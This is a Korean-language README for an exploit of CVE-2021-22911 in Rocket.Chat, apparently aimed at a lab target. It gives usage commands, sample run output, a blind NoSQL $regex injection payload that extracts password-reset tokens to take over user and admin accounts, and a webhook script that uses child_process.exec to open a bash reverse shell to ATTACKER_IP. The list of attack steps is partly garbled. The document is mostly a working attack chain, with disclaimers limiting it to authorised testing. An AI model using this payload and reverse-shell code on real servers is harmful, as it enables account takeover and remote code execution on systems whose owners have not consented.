
CVE-2021-22911 Rocket.Chat NoSQL Injection RCE Exploit - 교육 목적
이 익스플로잇은 공인된 침투 테스트 및 교육 목적으로만 사용됩니다. 컴퓨터 시스템에 대한 무단 액세스는 불법입니다. 저자는 오용에 대해 책임을 지지 않습니다.
CVE-2021-22911은 Rocket.Chat에서 인증되지 않은 NoSQL 인젝션 취약점으로, 원격 코드 실행(RCE)으로 이어집니다.
이 익스플로잇은 세 가지 NoSQL 인젝션 공격을 연결합니다:
$regex 연산자를 사용한 블라인드 NoSQL 인젝션을 통해 비밀번호 재설정 토큰을 문자 단위로 추출합니다child_process.exec()를 사용하여 리버스 셸을 생성합니다pip install requests
nc -lvnp 4444
수동 IP 입력:
python3 rocket_chat_exploit.py \
-u [email protected] \
-a [email protected] \
-t http://chat.rocket.thm \
-i 10.9.0.1 \
-p 4444
tun0 IP 자동 감지 (권장):
python3 rocket_chat_exploit.py \
-u [email protected] \
-a [email protected] \
-t http://chat.rocket.thm \
-i $(ip a show tun0 | grep "inet " | awk '{print $2}' | cut -d/ -f1) \
-p 4444
인수:
-u: 낮은 권한 사용자 이메일 (존재해야 함)-a: 관리자 이메일-t: 대상 URL (Rocket.Chat 인스턴스)-i: 공격자 IP (tun0)-p: Netcat 리스너 포트============================================================
Rocket.Chat CVE-2021-22911 — RCE
Target : http://chat.rocket.thm
Shell : 10.9.0.1:4444
============================================================
[PHASE 1] Low-priv user → [email protected]
[+] Password reset email sent → [email protected]
[*] Extracting reset token via blind NoSQL injection...
[43/43] aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890abcd
[+] Token: aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890abcd
[+] Password changed to: P@$$w0rd!1234
[PHASE 2] Admin user → [email protected]
[+] Password reset email sent → [email protected]
[*] Extracting reset token via blind NoSQL injection...
[43/43] XyZ9876543210aBcDeFgHiJkLmNoPqRsTuVwXyZ
[+] Token: XyZ9876543210aBcDeFgHiJkLmNoPqRsTuVwXyZ
[+] Password changed to: P@$$w0rd!1234
[PHASE 3] RCE
[!] Start your listener now: nc -lvnp 4444
[*] Press Enter when nc is ready...
[+] Authenticated as [email protected]
userid : userid123456789
token : token123456...
[+] Webhook created
http://chat.rocket.thm/hooks/hookid123/token456
[*] Triggering reverse shell...
[+] Trigger sent — check your nc listener
{
"message": {
"msg": "method",
"method": "getPasswordPolicy",
"params": [
{
"token": {
"$regex": "^abc"
}
}
]
}
}
class Script {
process_incoming_request({ request }) {
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"');
}
}
이 도구는 교육 목적 및 공인된 보안 테스트용으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 액세스는 컴퓨터 사기 및 남용법(CFAA) 및 유사한 국제법에 따라 범죄 행위입니다.
책임감 있게 사용하세요. 소유한 시스템이나 명시적인 서면 허가를 받은 시스템만 테스트하세요.